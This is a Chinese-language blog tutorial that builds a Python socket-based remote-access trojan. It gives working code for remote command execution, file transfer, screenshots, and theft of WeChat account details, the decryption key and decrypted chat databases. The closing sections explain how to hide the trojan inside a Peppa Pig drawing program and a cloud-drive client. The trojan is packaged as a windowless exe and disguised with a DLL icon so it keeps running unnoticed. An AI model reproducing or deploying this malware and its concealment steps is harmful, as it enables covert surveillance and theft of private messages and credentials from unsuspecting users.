Python远程控制程序

一个基于Python Socket 实现远程控制程序
可以用作远控木马

概述

实现的功能:

  • 远程命令执行
  • 远程文件上传
  • 远程文件下载
  • 获取远程主机截屏

在学习网络安全技术的过程中,了解到了计算机病毒、蠕虫和木马等知识,这其中木马应该是最好实现的一个,于是便想到写一个木马
在众多木马的类型中,结合学习到的网络编程知识,于是便有了这一个基于Socket实现的远程控制程序
在后续,可以将这个远控程序写入其他客户端程序中(比如之前的量子加密网盘项目),只要对方打开了桌面程序,就能远程连接

实现过程

最简单的Socket程序

首先,整个程序的框架就是基于Socket的TCP传输,先写一个最简单的Socket程序
Server端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

socket_server = socket.socket()
socket_server.bind(('localhost', 8888))
socket_server.listen(1)
conn, address = socket_server.accept()
print(f'接收到客户端连接,来自{address}')
while True:
data = conn.recv(1024).decode("UTF-8")
if data == 'exit':
break
print('接收到发来的消息:', data)
reply = input('请输入回复的消息:').encode('UTF-8')
conn.send(reply)

conn.close()
socket_server.close()

Client端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import socket

socker_client = socket.socket()
socker_client.connect(('localhost', 8888))
print('连接到服务端')
while True:
send_msg = input('请输入要发送的消息:')
if send_msg == 'exit':
break
socker_client.send(send_msg.encode('UTF-8'))
recv_data = socker_client.recv(1024)
print('服务端回复的消息:', recv_data.decode('UTF-8'))

socker_client.close()

以上是最简单的一个Socket程序,实现了两台主机之间相互传递文字信息。
但是在这个程序中,同样存在很多的问题,比如:

  1. 传输的消息可能会超过1024
  2. 没有任何异常抛出机制,在Socket通信的过程中,一定会存在丢包、失去连接、超时等问题
  3. …………
    这些问题如果只是在上面这样一个简单程序中,基本不会有问题,但是一旦程序实现的功能多了,代码量大了,这些问题都至关重要,都需要在后续的代码中注意,不然找bug会很痛苦😢

需要强调的是,在此程序中,我将服务端作为主动执行端,客户端作为被动执行端,也就是服务端发送指令,客户端根据指令进行操作并返回服务端
对于木马程序,同样可以理解为,服务端为攻击操纵者,客户端为攻击受害者
后续的介绍中,都是以此为基础

远程命令执行

学会上面最简单的socket程序之后,接下来就是思考,怎么实现远程的命令执行
在这里我们可以使用Python中的os模块,os模块提供的就是各种 Python 程序与操作系统进行交互的接口。通过使用os模块,一方面可以方便地与操作系统进行交互,另一方面页可以极大增强代码的可移植性
Python中的os模块,理论上支持Windows、Linux和Mac OS系统,所以使用os模块,也可以增大我们编写的这个程序的使用范围
所以远程命令执行的整体流程和框架为:

使用os模块进行命令也十分简单,只需要使用os.system('命令')或者os.popen('命令')就可以实现,
但是但是,这里不能使用os.system,比如我们执行dir命令,需要返回文件夹内的内容,它不能返回命令执行后的内容,而os.popen可以

补充:
python中os.systemos.popensubprocess.popen都是可以实现系统命令的执行
但是他们之间也存在区别,参考文章
总结一下:

  1. os.system直接调用标准C的system() 函数,仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息
  2. os.popen不仅执行命令而且返回执行后的信息对象(常用于需要获取执行命令后的返回信息),是通过一个管道文件将结果返回。返回的是 file read 的对象,对其进行读取read的操作可以看到执行的输出
  3. subprocess.popenos.popen类似,但是当执行命令的参数或者返回中包含了中文文字,更建议使用subprocess
  4. commands可以获取返回值和命令的输出结果

所以在这个功能实现中,我选择使用os.popen方法来实现命令执行,使用read方法读取返回的内容
Client端执行命令函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def run_cmd(socker_client, cmd):  
pwd = os.getcwd()
if cmd.startswith('cd'):
try:
os.chdir(cmd.split()[1])
except FileNotFoundError:
os.chdir(pwd)
result = '目录不存在'
socker_client.send(result.encode('UTF-8'))
return
result = '切换目录成功'
socker_client.send(result.encode('UTF-8'))
return
# 执行命令
try:
result = os.popen(cmd).read()
except Exception as e:
result = f'命令执行失败:{e}'
if result == '':
result = '命令执行成功'
# 把命令回显结果发送给服务端
socker_client.send(result.encode('UTF-8'))

从上面这个函数实现代码中可以看到,我特意对cd切换目录命令做了单独的判断
这是因为在Python程序中直接执行cd切换目录是不起作用的,还是会返回当前程序运行的目录位置,所以需要使用os.chdir方法对当前Python程序运行的目录进行切换
除此之外的其他命令则没有进行单独的判断,直接交给popen执行,并用read方法读取返回信息

值得注意的是,popen在执行其他命令会有意想不到的返回值,可能会不返回值,并且一直阻塞,需要根据实际情况单独判断

远程执行命令

远程下载文件

远程下载文件,需要的是服务端和客户端紧密配合,并且保证通信过程中的同步
所谓同步,一定是一收一发的形式,不论是客户端还是服务端,一旦有一端出现了连续两次的发送或者接收,在实际的执行过程中,一定会出现死锁的现象,也就是双方都在等待对方发送消息,双方一直阻塞。
远程下载文件的整体流程和框架:

这其中有一步是发送和确认文件的头部信息,这是为了告诉服务端所要接收的文件的文件大小和名称,以便写入文件。
当然这一步是可以省略的,服务端可以根据输入的指令信息得知文件的名称
在此程序中,使用get 文件名称的方式告诉双方,我需要进行下载文件的流程
Server端get函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_file(conn):  
# 文件不存在的情况
rev = conn.recv(1024)
if rev == b'file_not_exist':
print('文件不存在')
return
conn.send(b'start')
# 接收文件头部大小
try:
rev = conn.recv(4)
header_size = struct.unpack('i', rev)[0]
except (struct.error, ConnectionResetError):
print("在接收文件头部长度时发生错误")
return
# 发送确认消息
conn.send(b'size_ok')
# 接收文件头部信息
header_bytes = conn.recv(header_size).decode('UTF-8')
header = json.loads(header_bytes)
file_name = header['file_name']
file_size = header['file_size']
# 发送确认消息
conn.send(b'header_ok')
print(f'文件名称:{file_name},文件大小:{file_size} B')
print('开始接收文件...')
try:
with open(file_name, 'wb') as f:
while file_size > 0:
content = conn.recv(1024)
file_size -= len(content)
f.write(content)
except IOError as e:
print(f"在写入文件时发生错误: {e}")
return
print('接收文件完成')

Client端get函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_file(conn, file_name):  
if os.path.isfile(file_name):
conn.send(b'file_exist')
rev = conn.recv(1024)
if rev != b'start':
return
file_size = os.path.getsize(file_name)
header = {
'file_name': file_name,
'file_size': file_size
}
header_json = json.dumps(header)
header_bytes = header_json.encode('UTF-8')
header_size = struct.pack('i', len(header_bytes))
conn.send(header_size)
rev = conn.recv(1024)
if rev != b'size_ok':
return
conn.send(header_bytes)
rev = conn.recv(1024)
if rev == b'header_ok':
try:
with open(file_name, 'rb') as f:
while file_size > 0:
content = f.read(1024)
file_size -= len(content)
conn.send(content)
except Exception as e:
print(f"发送错误: {e}")
conn.send(b'')
else:
conn.send(b'file_not_exist')

下载文件

远程上传文件

在这一部分,整体的流程和上面的远程文件下载基本一致,就是将上方服务端和客户端的流程对调
这里就不过多介绍,代码是一样的
在此程序中使用put 文件名称的形式,告诉双方我需要进入上传文件的流程
上传文件

远程获取屏幕截图

Python获取屏幕截图的方式很多,比如PIL中的ImageGrab模块、windows API、PyQt、pyautogui等等
参考文章
在此程序中使用了PIL中的ImageGrab模块,原因就是操作十分简单,缺点是效率较低,但是对于我们这个程序来说,几乎感觉不出差别
ImageGrab模块只需要两条命令就能搞定全屏截图,十分方便

1
2
im = ImageGrab.grab()
im.save(file_name)

远程获取屏幕截图的整体流程和框架:

在此程序中,使用screen的方式告诉双方,我需要进行截屏的流程
Server端screen函数:

1
2
3
4
5
6
7
def screen_shot(conn):  
rev = conn.recv(1024)
if rev != b'screen':
print('截图失败')
return
conn.send(b'start')
get_file(conn)

Client端screen函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
def screen_shot(conn):  
conn.send(b'screen')
rev = conn.recv(1024)
if rev != b'start':
return
# 截图并发生到服务端
im = ImageGrab.grab()
# 截屏命名为当前时间
file_name = time.strftime("%Y-%m-%d %H-%M-%S", time.localtime()) + '.png'
im.save(file_name)
get_file(conn, file_name)
# 删除本地截图
os.remove(file_name)

截屏
截取的图片拉取到本地

获取微信数据

这里功能是基于Github开源项目:PyWxDump
其提供了一系列获取微信数据信息、聊天记录等Python接口
利用这个python项目,可以很容易获取到微信数据
如 获取微信基本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def get_wechat_info(conn):
# 读取文件中的json数据
with open('version_list.json', 'r', encoding='UTF-8') as f:
version_list = json.load(f)
# 读取微信信息
wx_info = read_info(version_list, False)
if str(wx_info).startswith('[-]'):
conn.send(wx_info.encode('UTF-8'))
return None, None
pid = wx_info[0]['pid']
version = wx_info[0]['version']
account = wx_info[0]['account']
mobile = wx_info[0]['mobile']
name = wx_info[0]['name']
mail = wx_info[0]['mail']
wxid = wx_info[0]['wxid']
file_path = wx_info[0]['filePath']
key = wx_info[0]['key']
wechat_files = str(Path(file_path).parent)
content = f"""
================== wechat info ==================
[+] 进程号: {pid}
[+] 版本: {version}
[+] 微信号: {account}
[+] 手机号: {mobile}
[+] 微信名: {name}
[+] 邮箱: {mail}
[+] 微信数据路径: {file_path}
[+] wxid: {wxid}
[+] key: {key}
================== wechat info ==================
"""
conn.send(content.encode('UTF-8'))
return file_path, key

获取微信基本信息

获取并解密微信数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def get_wechat(conn):
file_path, key = get_wechat_info(conn)
if file_path is None:
return
# 获取解密后的数据库路径
decrypted_path = conn.recv(1024).decode("UTF-8")
# 创建解密后的数据库文件夹
if not os.path.exists(decrypted_path):
os.mkdir(decrypted_path)
# 解密微信数据库
args = {
"mode": "decrypt",
"key": key, # 密钥
"db_path": file_path + '\\Msg', # 数据库路径
"out_path": decrypted_path # 输出路径(必须是目录)
}
batch_decrypt(args["key"], args["db_path"], args["out_path"], False)
# 打包压缩解密后的数据库并发送到服务端
zip_file_path = decrypted_path + '.zip'
zip_file_name = Path(zip_file_path).name
if os.path.exists(zip_file_path):
os.remove(zip_file_path)
zip_dir(decrypted_path, zip_file_path)
pwd = os.getcwd() # 记录当前路径
os.chdir(str(Path(decrypted_path).parent)) # 切换到父目录
get_file(conn, str(zip_file_name))
os.remove(zip_file_path) # 删除压缩包
shutil.rmtree(decrypted_path) # 删除解密后的数据库文件夹
os.chdir(pwd) # 切换回原路径
rev = conn.recv(1024) # 接收服务端的确认信息
if rev != b'get_db_ok':
return
# 打包压缩FileStorage文件夹并发送到服务端
file_storage_path = file_path + "\\FileStorage"
zip_file_path = file_storage_path + '.zip'
zip_file_name = Path(zip_file_path).name
if os.path.exists(zip_file_path):
os.remove(zip_file_path)
zip_dir(file_storage_path, zip_file_path)
pwd = os.getcwd() # 记录当前路径
os.chdir(file_path) # 切换到父目录
get_file(conn, str(zip_file_name))
os.remove(zip_file_path) # 删除压缩包
os.chdir(pwd) # 切换回原路径

获取微信聊天数据库

开启flask服务,查看微信聊天信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def flask_show():
# 查看聊天记录
seg = input('[*] 请输入数据库分段号:')
args = {
"mode": "dbshow",
"msg_path": str(db_path) + f'\\Multi\\de_MSG{seg}.db', # 解密后的 MSG.db 的路径
"micro_path": str(db_path) + '\\de_MicroMsg.db', # 解密后的 MicroMsg.db 的路径
"media_path": str(db_path) + f'\\Multi\\de_MediaMSG{seg}.db', # 解密后的 MediaMSG.db 的路径
"filestorage_path": local_file_storage_path + "\\FileStorage" # 文件夹 FileStorage 的路径(用于显示图片)
}
# 启动flask服务
from flask import Flask, request, jsonify, render_template, g
import logging
app = Flask(__name__, template_folder='./show_chat/templates')
# 阻止flask在控制台输出日志
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
app.logger.setLevel(logging.ERROR)

@app.before_request
def before_request():
g.MSG_ALL_db_path = args["msg_path"]
g.MicroMsg_db_path = args["micro_path"]
g.MediaMSG_all_db_path = args["media_path"]
g.FileStorage_path = args["filestorage_path"]
g.USER_LIST = get_user_list(args["msg_path"], args["micro_path"])

@app.route('/shutdown', methods=['POST'])
def shutdown():
shutdown_func = request.environ.get('werkzeug.server.shutdown')
if shutdown_func is None:
raise RuntimeError('Not running with the Werkzeug Server')
shutdown_func()
return 'Server shutting down...'

app.register_blueprint(app_show_chat)
print("[+] 查看聊天记录服务启动在 http://127.0.0.1:5000 ")
app.run(debug=False)

在浏览器中查看聊天记录

木马程序

peppa-pig

完成上面的几个功能就已经具备简单远控木马的特征了,接着就是需要将这个程序隐藏起来,让对方察觉不到这个程序的存在
我的思路是将这个远程控制的程序隐藏在其他应用中,并且以多线程或者多进程的方式异步的运行这个程序,并且在对方关闭应用之后,这个远程程序依旧能在后台运行
首先我找到一个利用海龟绘图绘制小猪佩奇的程序,程序是Python-100-Days这个项目中,接着我将远控程序引入,以多线程的方式启动,最后将整个程序打包成exe可执行程序
绘制小猪佩奇程序
添加多线程代码:

1
2
3
4
5
6
7
8
if __name__ == '__main__':  
# 多线程
t1 = threading.Thread(target=peppa_pig)
t2 = threading.Thread(target=client_main)
t1.start()
t2.start()
t1.join()
t2.join()

使用pyinstaller打包

1
pyinstaller -F -w -n pig -i icon.ico peppa_pig.py

需要加入资源时

1
pyinstaller -F -w -n pig -i .\icon.ico --add-data=".\assets\version_list.json;." .\peppa_pig.py

打包成exe文件
对方点击运行这个程序之后,远程控制程序同时以线程的形式进行运行,当对象关闭绘图框时,远控程序的线程还是会在后台继续运行,对方只要不打开任务管理器时难以察觉到的
在后台运行的pig.exe

量子加密网盘客户端

结合之前写的一个量子加密网盘客户端的项目,我也将木马引入
这次的引入方式同上面的有所不同,由于上面以多线程的方式引入,而在Windows任务管理器中只会显示进程,所以还是pig.exe的程序正在运行,对方容易察觉到
这个我们换个思路,先将远控程序打包成exe可执行文件,替换其图标为动态链接库的图标,并且将名字设置为很长的一串。
接着在量子加密网盘客户端程序中,以多进程的方式执行这个远控exe程序,最后将量子加密网盘客户端打包成exe文件,将远控程序藏在打包后的依赖文件夹中

添加多进程代码

1
2
3
4
5
if __name__ == '__main__':  
# 多进程
multiprocessing.freeze_support()
multiprocessing.Process(target=run_client).start()
run()

使用pyinstaller进行打包

1
pyinstaller -D -w -n QE_Network_Drive -i icon.ico flet_GUI.py

在这个过程中,我尝试了很多的办法,都会出现一个问题:在Pycharm下运行没有问题,但是打包后运行exe程序,整个电脑直接卡死,内存爆满,最后直接重启。
解决办法就是使用multiprocessing.freeze_support()
打包之后文件结构
隐藏在依赖文件中的远控程序
关闭云盘客户端后依旧在后台运行的远控程序

不过后续还是需要将这个远控程序图标和名称改的更加合适一点,毕竟dll动态链接库怎么可能在后台运行

总结

整个项目或者说是程序,总体上比较简单,没有什么很难的点,在这个过程中用到最多的就是计算机网络网络编程中的知识点,于此同时,最后部分也涉及到了Python异步编程多线程多进程以及协程的概念,完成这个程序也算是巩固和补充了这些方面的知识,弥补了一些不懂的地方,现在写下来也算是回顾总结学到的知识点。